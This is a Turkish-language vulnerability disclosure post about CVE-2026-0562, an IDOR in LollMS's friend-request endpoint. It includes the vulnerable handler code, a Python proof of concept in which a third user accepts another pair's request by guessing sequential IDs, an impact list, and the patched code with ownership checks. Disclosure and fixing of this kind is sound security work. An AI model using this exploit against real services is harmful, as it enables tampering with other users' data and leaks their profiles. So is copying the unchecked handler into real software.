CVE-2026-0562: LollMS arkadaşlık isteği yanıtında IDOR zafiyeti
Bu zafiyeti 29 Aralık 2025’te raporladım. CVE-2026-0562 atandı, CVSS skoru 8.3 HIGH. Klasik bir IDOR: sıralı bir integer tahmin ederek başka birinin arkadaşlık isteğini kabul edebilir ya da reddedebiliyorsunuz.
LollMS (Lord of Large Language And Multimodal Systems), parisneo tarafından geliştirilen açık kaynaklı bir AI platformu. Arkadaşlık istekleri, özel mesajlar ve profil görünürlüğü içeren bir sosyal katmanı var. Zafiyet tam burada.
Savunmasız endpoint
/api/friends/requests/{friendship_id} endpointi arkadaşlık isteği yanıtlarını yönetiyor. Düzeltmeden önceki hali şöyle:
@friends_router.put("/requests/{friendship_id}", response_model=FriendPublic)
async def respond_request(friendship_id: int, data: FriendshipAction,
current_db_user: DBUser = Depends(get_current_db_user_from_token),
db: Session = Depends(get_db)):
fs = db.query(Friendship).filter(Friendship.id == friendship_id).first()
if not fs: raise HTTPException(404, "Request not found")
if data.action == 'accept':
fs.status = FriendshipStatus.ACCEPTED
fs.action_user_id = current_db_user.id
db.commit()
friend = fs.user1 if fs.user2_id == current_db_user.id else fs.user2
return FriendPublic(id=friend.id, username=friend.username, icon=friend.icon, friendship_id=fs.id, status_with_current_user=fs.status)
elif data.action == 'reject':
db.delete(fs)
db.commit()
raise HTTPException(200, "Rejected")
Fonksiyon ID’ye göre kaydı çekiyor, var mı diye bakıyor, ardından direkt işleme geçiyor. O arkadaşlıkla senin ne ilgin var diye soran yok. Sıfır kontrol.
Eksik olan üç şey:
current_db_user.id‘nin(fs.user1_id, fs.user2_id)içinde olup olmadığıcurrent_db_user.id‘nin isteği gönderen kişi (fs.action_user_id) olmadığı- Arkadaşlık ID’leri sıralı integer, yani tahmin etmek trivial
Proof of concept
Üç adım: User1, User2’ye istek gönderiyor. User3 (saldırgan) friendship_id‘yi herhangi bir şekilde öğreniyor ve yanıtlıyor.
import requests
BASE_URL = "http://localhost:9642"
# User1, User2'ye arkadaşlık isteği gönderiyor
token1 = "..."
friend_req = requests.post(
f"{BASE_URL}/api/friends/request",
headers={"Authorization": f"Bearer {token1}"},
json={"target_username": "user2"}
)
friendship_id = friend_req.json()["friendship_id"] # örn: 1
# User3 (saldırgan) bu isteği kabul ediyor — bu arkadaşlıkla hiçbir ilgisi yok
token3 = "..."
accept_response = requests.put(
f"{BASE_URL}/api/friends/requests/{friendship_id}",
headers={"Authorization": f"Bearer {token3}"},
json={"action": "accept"}
)
print(accept_response.status_code) # 200
print(accept_response.json())
# {"id":4,"username":"user2","icon":null,"friendship_id":1,"status_with_current_user":"accepted"}
User3, kendisiyle hiçbir ilgisi olmayan iki kişi arasındaki isteği kabul etti. Üstüne üstlük yanıtta User2’nin profil bilgileri de User3’e dönüyor.
ID’ler sıralı olduğu için User3’ün önceden bir şey görmesine de gerek yok. 1’den başlayıp iterasyon yaparak bekleyen tüm istekleri bulabilir ve reddedebilir — platformdaki herkesin sosyal bağlantılarını koparabilir.
Etki
Arkadaşlığın platformda ne gibi izinler açtığına bağlı olmakla birlikte, en azından şunlar mümkün:
- Zorla arkadaşlık: Üçüncü bir kişi iki kullanıcıyı hiçbirinin onayı olmadan arkadaş yapabiliyor
- İstek sabotajı: Alıcının kabul etmek istediği istekler dahil, bekleyen her istek reddedilebiliyor
- Gizlilik ihlali: Kabul yanıtı hedef kullanıcının profil bilgilerini saldırgana sızdırıyor
- Sosyal mühendislik: Manipüle edilmiş arkadaşlık grafikleri özel kanallar üzerinden güven kazanmak için kullanılabilir
Düzeltme
İki yetkilendirme kontrolü eklemek yeterli:
@friends_router.put("/requests/{friendship_id}", response_model=FriendPublic)
async def respond_request(friendship_id: int, data: FriendshipAction,
current_db_user: DBUser = Depends(get_current_db_user_from_token),
db: Session = Depends(get_db)):
fs = db.query(Friendship).filter(Friendship.id == friendship_id).first()
if not fs:
raise HTTPException(404, "Request not found")
# Bu arkadaşlığın tarafı mısın?
if current_db_user.id not in (fs.user1_id, fs.user2_id):
raise HTTPException(403, "You are not authorized to respond to this request")
# Kendi gönderdiğin isteği kabul edemezsin
if fs.action_user_id == current_db_user.id:
raise HTTPException(400, "You cannot respond to your own request")
if data.action == 'accept':
fs.status = FriendshipStatus.ACCEPTED
fs.action_user_id = current_db_user.id
db.commit()
friend = fs.user1 if fs.user2_id == current_db_user.id else fs.user2
return FriendPublic(id=friend.id, username=friend.username, icon=friend.icon, friendship_id=fs.id, status_with_current_user=fs.status)
elif data.action == 'reject':
db.delete(fs)
db.commit()
raise HTTPException(200, "Rejected")
commit c462977 ile düzeltildi, 2.2.0’da yayınlandı.
Bu pattern neden tekrar tekrar çıkıyor
IDOR hataları hızlı geliştirme sürecinde kolayca gözden kaçıyor. friendship_id bir internal ID, kullanıcının UI’da elle yazmayacağı bir şey. Ama ID alan her API şu soruyu yanıtlamak zorunda: çağıran kişinin bu kaynakta işlem yapma yetkisi var mı?
Nesne düzeyinde yetkilendirme (OWASP API1:2023 - Broken Object Level Authorization) API zafiyet listelerinin başında olmaya devam ediyor. “ID’yi kimse tahmin edemez” bir güvenlik kontrolü sayılmaz.
Kural basit: kaydı çek, sahipliği doğrula, sonra işlem yap. Bu sırayla, her defasında.
Raporlama zaman çizelgesi
- 29 Aralık 2025: Huntr.dev’e proof of concept ile raporlandı
- 29 Mart 2026: CVE-2026-0562 atandı ve yayınlandı
- 31 Mart 2026: NVD ilk analizi tamamlandı
- Düzeltme: commit c462977 ile yamalandı, 2.2.0’da yayınlandı
Referanslar
- NVD’de CVE-2026-0562
- Huntr bounty raporu
- GitHub’daki düzeltme commit’i
- CWE-639: Authorization Bypass Through User-Controlled Key
- CWE-863: Incorrect Authorization
- OWASP API Security Top 10: API1:2023 Broken Object Level Authorization
İlgili içerik
- CVE-2026-0558: LollMS’de kimlik doğrulamasız dosya yükleme
- CVE-2026-0560: LollMS export endpointinde SSRF zafiyeti
- CVE-2026-5728: LollMS chat image upload Content-Type spoofing (EN)
- Meilisearch API Key Karşılaştırmasında Timing Attack Zafiyeti
- SQL Injection Zafiyeti: GeoPandas to_postgis() Fonksiyonunda Güvenlik Açığı